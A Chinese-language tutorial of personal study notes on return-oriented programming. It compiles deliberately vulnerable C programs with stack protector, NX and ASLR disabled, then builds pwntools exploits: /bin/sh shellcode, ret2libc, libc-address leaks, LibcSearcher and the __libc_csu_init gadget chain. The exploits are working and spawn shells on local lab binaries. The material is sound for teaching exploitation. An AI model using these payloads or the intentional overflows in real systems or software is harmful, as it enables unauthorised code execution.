参考链接
- 语雀的一个大佬的记录:https://www.yuque.com/hxfqg9/bin/zzg02e
- 阿里聚安全写的蒸米rop记录:https://segmentfault.com/a/1190000007406442
- 一步一步学ROP(x86):http://www.vuln.cn/6645
- 一步一步学ROP(x64):http://www.vuln.cn/6644
- 需要的工具(pattern.py):https://github.com/zhengmin1989/ROP_STEP_BY_STEP
32位
简单的栈溢出
level1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv)
{
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
用如下选项编译:
gcc -m32 -fno-stack-protector -z execstack -o level1 level1.c
- -m32意思是编译为32位的程序
- -fno-stack-protector会关掉Stack Protector
- -z execstack会关掉DEP
发现缺少库文件
输入下面命令安装32位库
sudo apt-get install libc6-dev-i386
关闭随机化(需要在root权限下)
echo 0 > /proc/sys/kernel/randomize_va_space
用sudo passwd
可以改root密码,然后su root
切换到root输入上面命令。
检查level二进制的安全保护机制
checksec level1
先装一下peda。
$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit
用gdb调试level
gdb level1
用peda自带的脚本生成点数据。
pattern create 150
按r运行,在输入之前生成的字符串。可以发现发生了段错误。这里的意思是说,本来的返回地址0x416d4141被我们输入的字符串给覆盖了。
用pattern offset 0x41416d41
计算偏移
然而用gdb调试,会影响buf的实际地址。因此解决方法是开启一个core dump的功能:
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。
然后我们运行真实程序,可以有提示(core dumped)
用gdb调试。
查看寄存器x/10s $esp-144
,找到ret地址。之前用gdb调试在当前文件夹的core出来的地址,不知道为什么一直无法正常利用。用了这个命令后才正常。sudo sh -c ‘echo “/tmp/core.%t” > /proc/sys/kernel/core_pattern’。留在以后解决吧,暂时感觉对栈溢出的利用不太相关。
最后exp:
from pwn import *
p = process('./level1')
ret = 0xffffcfa0
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()
最后结果:
ret2libc
gcc编译,去掉栈可执行这一选项。
gcc -m32 -fno-stack-protector -o level2 level1.c
检查一下level2二进制的安全机制,可以看到NX是enabled的状态
关掉ASLR 后 system() 函数在内存中的地址是不会变化的,并且 libc.so 中也包含 “/bin/sh” 这个字符串,并且这个字符串的地址也是固定的,所以可以通过gdb找到system和/bin/sh的地址,实现ret2libc。
首先用gdb ./level2
调试
我们首先在main函数上下一个断点:b main
然后输入r
执行程序,这时libc已经加载到内存中了。然后可以通过print system
命令找到system函数在内存中的位置。
用find命令找到"/bin/sh"字符串的位置。
所以我们找到了这两个地址:
-
system地址:0xf7e3ddb0
-
/bin/sh地址:0xf7f5eb0b
所以exp脚本如下,ret地址是执行完这个shell后再从ret地址跳到别的地方去,由于后续不需要别的操作,ret地址就随便填个。
from pwn import *
p = process('./level2')
ret = 0xdeadbeef
systemaddr = 0xf7e3ddb0
binshaddr = 0xf7f5eb0b
payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
p.send(payload)
p.interactive()
最后结果如下:
绕过ASLR
切换到root开启随机化
echo 2 > /proc/sys/kernel/randomize_va_space
可以看到每次加载动态库的地址都不一样了。
一个解决方法是先泄漏出 libc.so 某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出 system() 函数和 /bin/sh 字符串在内存中的地址,然后再执行我们的 ret2libc 的 shellcode 就可以了
先把程序用到的libc文件拷贝到当前目录
cp /lib/i386-linux-gnu/libc.so.6 libc.so
这样当前目录下就多了一个libc.so文件
使用:objdump -d -j .plt level2
查看可以利用的函数
使用objdump -R level2
查看对应GOT表
因为system()和write()在libc.so的相对地址是不变的,只要知道write的地址,并且知道他们的相对偏移,就可以推出system的地址。exp如下:
from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
p = process('./level2')
plt_write = elf.symbols['write']
got_write = elf.got['write']
vulfun_addr = 0x0804843b
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
p.send(payload1)
write_addr = u32(p.recv(4))
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
p.send(payload2)
p.interactive()
vulfun_addr可用objdump -d level2
来找到漏洞函数的地址。
exp的思路是先利用栈溢出漏洞泄露write函数的地址,然后用write函数的地址减去libc里write和system的偏移,就可以得到system的地址。同理也可以得到/bin/sh字符串的地址。最后结果如下:
没有libc
做题的时候有可能,不知道究竟用的是什么libc版本。这时候就需要使用libcsearcher了。使用libc searcher的exp如下:
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *
elf = ELF('level2')
p = process('./level2')
#p = remote('127.0.0.1', 10003)
plt_write = elf.symbols['write']
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x0804843b
print 'vulfun= ' + hex(vulfun_addr)
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
print "\n###sending payload1 ...###"
p.send(payload1)
print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))
print 'write_addr=' + hex(write_addr)
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = libc_base + libc.dump("system")
print 'system_addr= ' + hex(system_addr)
binsh_addr = libc_base + libc.dump("str_bin_sh")
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
p.interactive()
可能遇到如下问题:
Multi Results:
0: archive-old-glibc (id libc6_2.21-0ubuntu4.3_i386)
1: archive-glibc (id libc6_2.23-0ubuntu3_i386)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:1
可以参考链接解决:https://blog.csdn.net/qq_40026795/article/details/107150265
libc searcher的基本用法
libc=LibcSearcher('write',write_addr)#基于已泄露的write地址求出libc版本
libcbase=write_addr-libc.dump("write")#求偏移地址
system_addr=libcbase+libc.dump("system")#用基址偏移加上system的偏移得出system的地址
binsh_addr=libcbase+libc.dump("str_bin_sh")#使用基址加上 /bin/sh 字符串的偏移,得到 /bin/sh 的实际地址
最后利用成功:
x64
简单的64位栈溢出
64位和32位的一个很大差别在于参数的存放地方。x86 都是保存在栈上面的, 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中,如果还有更多的参数的话才会保存在栈上。
漏洞代码:level3.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void callsystem()
{
system("/bin/sh");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
开启ASLR,按以下命令编译:
gcc -fno-stack-protector level3.c -o level3
gdb调试找到溢出点
gdb level3
输入r运行程序,再输入一堆很长的字符让程序溢出。然后查看寄存器rsp的值
并用pattern.py计算偏移。
exp代码:
from pwn import *
p=process('./level3')
sys_addr=0x0000000004005B6
pay='a'*136+p64(sys_addr)
p.sendline(pay)
p.interactive()
最后结果:
寻找gadget
由于 x64 的参数前几个都存在寄存器上,所以需要找一些pop rdi ;ret
之类的 gadget。
level4.c的源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}
这个程序打印了system的地址,所以我们需要考虑/bin/sh的地址,但由于参数是存在寄存器中的,所以需要一个pop rdi ; ret
的gadget。由于这个程序太小,我们去libc.so里去找gadget。
找gadget的工具有:
ROPEME: https://github.com/packz/ropeme Ropper: https://github.com/sashs/Ropper ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master rp++: https://github.com/0vercl0k/rp
我们就用一个简单的ROPgadget来找。
首先用ldd level4
找到level4用的共享库。
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi
出来结果如下:
exp如下:
from pwn import *
from LibcSearcher import *
p=process('./level4')
elf=ELF('./level4')
sys_addr=p.recvuntil('\n') #终端获取system的地址
sys_addr=int(sys_addr,16)
libc=LibcSearcher('system',sys_addr)#获取libc版本
pop_ret_offset=0x0000000000021112-libc.dump('system')#获取pop_ret gadget到system的偏移
pop_ret_addr=pop_ret_offset+sys_addr#基于偏移获取到pop-ret gadget的地址
libc_base=sys_addr-libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
payload='a'*136+p64(pop_ret_addr)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()
利用成功:
通用gadget
level5.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
这部分主要介绍的是如何针对一个没有辅助函数的64位程序来进行利用。【这部分基本没搞懂=_=】
漏洞代码level5.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
这个函数有一个栈溢出漏洞,和前面类似,也是先泄露内存信息,找到system()的值,然后传递“/bin/sh”到bss段,最后调用system(“/bin/sh”)。程序中有write函数,所以可以用write来输出write.got的地址,从而计算出libc.so在内存中的地址。但由于是64位,参数都保存在寄存器上,而且没有pop rdi ; ret
,pop rsi ; ret
的gadget。蒸米rop告诉我们x64下的__libc_csu_init()函数有万能的gadget可以用。
00000000004005a0 <__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp)
4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp)
4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp)
4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp)
4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp)
4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp)
4005cc: 48 83 ec 38 sub $0x38,%rsp
4005d0: 4c 29 e5 sub %r12,%rbp
4005d3: 41 89 fd mov %edi,%r13d
4005d6: 49 89 f6 mov %rsi,%r14
4005d9: 48 c1 fd 03 sar $0x3,%rbp
4005dd: 49 89 d7 mov %rdx,%r15
4005e0: e8 1b fe ff ff callq 400400 <_init>
4005e5: 48 85 ed test %rbp,%rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor %ebx,%ebx
4005ec: 0f 1f 40 00 nopl 0x0(%rax)
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4005fd: 48 83 c3 01 add $0x1,%rbx
400601: 48 39 eb cmp %rbp,%rbx
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq
可以看到400606处的代码控制了rbx,rbp,r12,r13,r14,r15的值,然后再利用4005f0的代码将r15的值赋给rdx,r14的值赋给rsi,r13的值赋给edi,随后调用一个call。之后,rbx+=1,然后对比rbp和rdx的值,相等往下执行,并ret到别的地方去。于是为了让rbp和rbx的值相等,由于之前已经将rbx的值设为0了,所以可以将rbp的值设置为1。
构造payload1,利用write()输出write在内存中的地址。【看上面的思路感觉懂了,看代码就懵逼了==】
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
当获取到write在内存中的地址后,就可以计算处system()在内存中的地址。接着构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。【这部分也是懵逼的==】
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
接着利用payload3来调用system()函数执行"/bin/sh",由于system()地址保存在了.bss段首地址上,"/bin/sh"的地址保存在了.bss段首地址+8字节上。【感觉这三个都差不多,弄懂一个就全通了,但是我没懂…,先放着,看看后面会不会遇到什么顿悟吧==】
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
最终exp
from pwn import *
elf = ELF('level5')
libc = ELF('libc.so.6')
p = process('./level5')
#p = remote('127.0.0.1',10001)
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x400564
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601028
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()